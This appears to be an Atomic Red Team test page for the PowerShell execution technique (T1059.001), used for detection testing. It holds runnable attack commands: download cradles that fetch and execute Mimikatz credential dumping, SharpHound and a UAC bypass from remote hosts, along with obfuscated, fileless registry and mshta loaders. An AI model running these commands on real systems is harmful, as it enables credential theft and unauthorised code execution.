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T1059.001 - PowerShell

Description from ATT&CK

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.(Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

Atomic Tests


Atomic Test #1 - Mimikatz

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
mimurl Mimikatz url url https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"


Atomic Test #2 - Run BloodHound from local disk

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
file_path File path for SharpHound payload String PathToAtomicsFolder\T1059.001\src

Attack Commands: Run with powershell!

write-host "Import and Execution of SharpHound.ps1 from #{file_path}" -ForegroundColor Cyan
import-module #{file_path}\SharpHound.ps1
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

Cleanup Commands:

Remove-Item $env:Temp\*BloodHound.zip -Force

Dependencies: Run with powershell!

Description: SharpHound.ps1 must be located at #{file_path}
Check Prereq Commands:
if (Test-Path #{file_path}\SharpHound.ps1) {exit 0} else {exit 1}
Get Prereq Commands:
Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "#{file_path}\SharpHound.ps1"


Atomic Test #3 - Run Bloodhound from Memory using Download Cradle

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.

Supported Platforms: Windows

Attack Commands: Run with powershell!

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

Cleanup Commands:

Remove-Item $env:Temp\*BloodHound.zip -Force


Atomic Test #4 - Obfuscation Tests

Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"

Supported Platforms: Windows

Attack Commands: Run with powershell!

(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))


Atomic Test #5 - Mimikatz - Cradlecraft PsSendKeys

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Supported Platforms: Windows

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr


Atomic Test #6 - Invoke-AppPathBypass

Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"


Atomic Test #7 - Powershell MsXml COM object - with prompt

Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.

Provided by https://github.com/mgreen27/mgreen27.github.io

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1

Attack Commands: Run with command_prompt!

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"


Atomic Test #8 - Powershell XML requests

Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.

Provided by https://github.com/mgreen27/mgreen27.github.io

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml

Attack Commands: Run with command_prompt!

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"


Atomic Test #9 - Powershell invoke mshta.exe download

Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

Provided by https://github.com/mgreen27/mgreen27.github.io

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
url url of payload to execute url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct

Attack Commands: Run with command_prompt!

C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"


Atomic Test #10 - Powershell Invoke-DownloadCradle

Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.

Supported Platforms: Windows

Run it with these steps!

  1. Open Powershell_ise as a Privileged Account
  2. Invoke-DownloadCradle.ps1


Atomic Test #11 - PowerShell Fileless Script Execution

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Supported Platforms: Windows

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

Cleanup Commands:

Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore
Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore


Atomic Test #12 - PowerShell Downgrade Attack

This test requires the manual installation of PowerShell V2.

Attempts to run powershell commands in version 2.0 https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/

Supported Platforms: Windows

Attack Commands: Run with powershell!

powershell.exe -version 2 -Command Write-Host $PSVersion

Dependencies: Run with powershell!

Description: PowerShell version 2 must be installed
Check Prereq Commands:
if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host  Automated installer not implemented yet, please install PowerShell v2 manually


Atomic Test #13 - NTFS Alternate Data Stream Access

Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
ads_file File created to store Alternate Stream Data String $env:TEMP\NTFS_ADS.txt

Attack Commands: Run with powershell!

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

Cleanup Commands:

Remove-Item #{ads_file} -Force -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Homedrive must be an NTFS drive
Check Prereq Commands:
if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host Prereq's for this test cannot be met automatically


Atomic Test #14 - PowerShell Session Creation and Use

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
hostname_to_connect The host to connect to, by default it will connect to the local machine String $env:COMPUTERNAME

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

Dependencies: Run with powershell!

Description: PSRemoting must be enabled
Check Prereq Commands:
Try {
    New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null
    exit 0
} 
Catch {
    exit 1
}
Get Prereq Commands:
Enable-PSRemoting


Atomic Test #15 - ATHPowerShellCommandLineParameter -Command parameter variations

Executes powershell.exe with variations of the -Command parameter

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
command_line_switch_type The type of supported command-line switch to use String Hyphen
command_param_variation The "Command" parameter variation to use String C

Attack Commands: Run with powershell!

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #16 - ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments

Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
command_line_switch_type The type of supported command-line switch to use String Hyphen
command_param_variation The "Command" parameter variation to use String C
encoded_arguments_param_variation The "EncodedArguments" parameter variation to use String EA

Attack Commands: Run with powershell!

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #17 - ATHPowerShellCommandLineParameter -EncodedCommand parameter variations

Executes powershell.exe with variations of the -EncodedCommand parameter

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
command_line_switch_type The type of supported command-line switch to use String Hyphen
encoded_command_param_variation The "EncodedCommand" parameter variation to use String E

Attack Commands: Run with powershell!

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #18 - ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments

Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
encoded_command_param_variation The "EncodedCommand" parameter variation to use String E
command_line_switch_type The type of supported command-line switch to use String Hyphen
encoded_arguments_param_variation The "EncodedArguments" parameter variation to use String EncodedArguments

Attack Commands: Run with powershell!

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Out-ATHPowerShellCommandLineParameter must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force